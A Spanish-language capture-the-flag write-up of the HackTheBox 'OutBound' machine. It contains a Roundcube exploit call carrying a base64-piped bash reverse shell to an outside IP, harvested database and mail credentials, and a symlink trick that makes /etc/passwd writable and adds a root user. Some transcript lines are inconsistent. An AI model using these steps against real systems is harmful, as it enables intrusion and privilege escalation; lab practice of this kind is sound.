HackTheBox - OutBound

cd /home/yoyan/maquina/
mkdir outbound
cd outbound
mkt
ls
 content   exploits   nmap   scripts

cd nmap
nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn [IP_OBJETIVO] -oG AllPorts
#Te creara un archivo grepable para usar despues el extractports
extractPorts AllPorts
#Es un Script que te pone los puertos abierto en la Clipboard
#Una vez con los puertos realizamos un Escaneo mas Exhaustivo
nmap -p22,80 -sCV [IP_OBJETIVO] -oN Target
#Te sale las versiones de los servicios de los puertos abiertos

# Explicacion del codigo:
#php CVE-2025-49113.php http://10.10.11.77 [Username]  [Password] "Código Ejecutable"
#Lo que vamos a realizar nosotros es una Reverse Shell y la codificamos en Base64 para que no nos de problemas y escuchar con NetCat.
php CVE-2025-49113.php http://mail.outbound.htb/ tyler 'LhKL1o9Nm3X2' "echo 'bash -c \"bash -i >& /dev/tcp/10.10.15.110/4444 0>&1\"' | base64 | base64 -d | bash"
#En otra Terminal usamo NetCat
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.77 58080
bash: cannot set terminal process group (248): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/var/www/html/roundcube/public_html$ 

www-data@mail:/var/www/html/roundcube/public_html$ script /dev/null -c bash

www-data@mail:/var/www/html/roundcube/public_html/roundcube/config$ cat config.inc.php
<be/public_html/roundcube/config$ cat config.inc.php                
<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';

mysql -u roundcube -pRCDBPass2025

show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| roundcube          |
+--------------------+
use roundcube;
show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
--Investigamos las tablas mas relevantes.
select * from users;
--Sale client_hash que es un preferences.
select * from identities;
--No vemos nada en identities que sea relevante.
select * from session;
+--------------------------------------------------------------------------------------------------------------------+
| sess_id                    | changed             | ip         | vars                                                
+----------------------------+---------------------+------------+----------------------------------------------------+
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
--Copiamos los archivos Vars y miramos si son importantes, ya que estan codificado en Base64

echo bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 | base64 -d | sed 's/;/\r\n/g' | > importante.txt
#Sale el texto decodificado a parte de con un tratamiento para separar mejor el texto y importarlo en un txt

Mail Account:
tyler:LhKL1o9Nm3X2
jacob:L7Rv00A8TuwJAr67kITxxcSgnIk25Am/ #Posible contraseña que debemos de probar.

SSH Account:
jacob:L7Rv00A8TuwJAr67kITxxcSgnIk25Am/ #Posible contraseña que debemos de probar.

www-data@mail:/var/www/html/roundcube/public_html/roundcube/bin$ ls
ls
cleandb.sh    gc.sh		jsshrink.sh	msgimport.sh
cssshrink.sh  indexcontacts.sh	makedoc.sh	update.sh
decrypt.sh    initdb.sh		moduserprefs.sh  updatecss.sh
deluser.sh    installto.sh	msgexport.sh	updatedb.shcat 
www-data@mail:/var/www/html/roundcube/public_html/roundcube/bin$ ./decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD

Mail Account:
tyler:LhKL1o9Nm3X2
jacob:595mO8DmwGeD #Posible contraseña que debemos de probar algo que puede hacer que nos huela bien es que tienen las misma longitud, ya que estan creadas seguramente por algun algoritmo.

SSH Account:
jacob:595mO8DmwGeD #Posible contraseña que debemos de probar.

ssh jacob@outbound.htb
jacob@outbound.htb's password: gY4Wr3a1evp4 '
#Nos conectamos mediante SSH con el usuario jacob
jacob@outbound:~$ ls
user.txt
#Miramos para escalar privilegios
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
#Como vimos en el correo que nos envio Mel below puede ser un potencial punto para realizar una escalada de privilegios

jacob@outbound:/home/jacob$ cd /var/log/below
jacob@outbound:/var/log/below$ rm -r error_root.log
jacob@outbound:/var/log/below$ ln -s /etc/passwd error_root.log
root@outbound:/var/log/below# ls -la
total 16
drwxrwxrwx  3 root  root   4096 Nov 22 15:20 .
drwxrwxr-x 13 root  syslog 4096 Nov 22 15:00 ..
lrwxrwxrwx  1 jacob jacob    11 Nov 22 15:16 error_jacob.log 
-rw-rw-rw-  1 root  root      0 Nov 22 15:20 error_root.log -> /etc/passwd
drwxr-xr-x  2 root  root   4096 Nov 22 15:00 store
jacob@outbound:/var/log/below$ stat /etc/passwd
  File: /etc/passwd
  Size: 1840      	Blocks: 8          IO Block: 4096   regular file
Device: 8,2	Inode: 16522       Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-11-22 14:59:58.244000256 +0000
Modify: 2025-07-14 16:40:53.253354883 +0000
Change: 2025-07-14 16:40:53.255354883 +0000
 Birth: 2025-07-08 21:06:21.791868493 +0000
jacob@outbound:/var/log/below$ sudo below
jacob@outbound:/var/log/below$ stat /etc/passwd
  File: /etc/passwd
  Size: 1840      	Blocks: 8          IO Block: 4096   regular file
Device: 8,2	Inode: 16522       Links: 1
Access: (0666/-rw-rw-rw-)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-11-22 14:59:58.244000256 +0000
Modify: 2025-07-14 16:40:53.253354883 +0000
Change: 2025-11-22 15:20:00.804110754 +0000
 Birth: 2025-07-08 21:06:21.791868493 +0000
jacob@outbound:/var/log/below$  echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn 
root@outbound:/var/log/below# cd 
root@outbound:~# ls
root.txt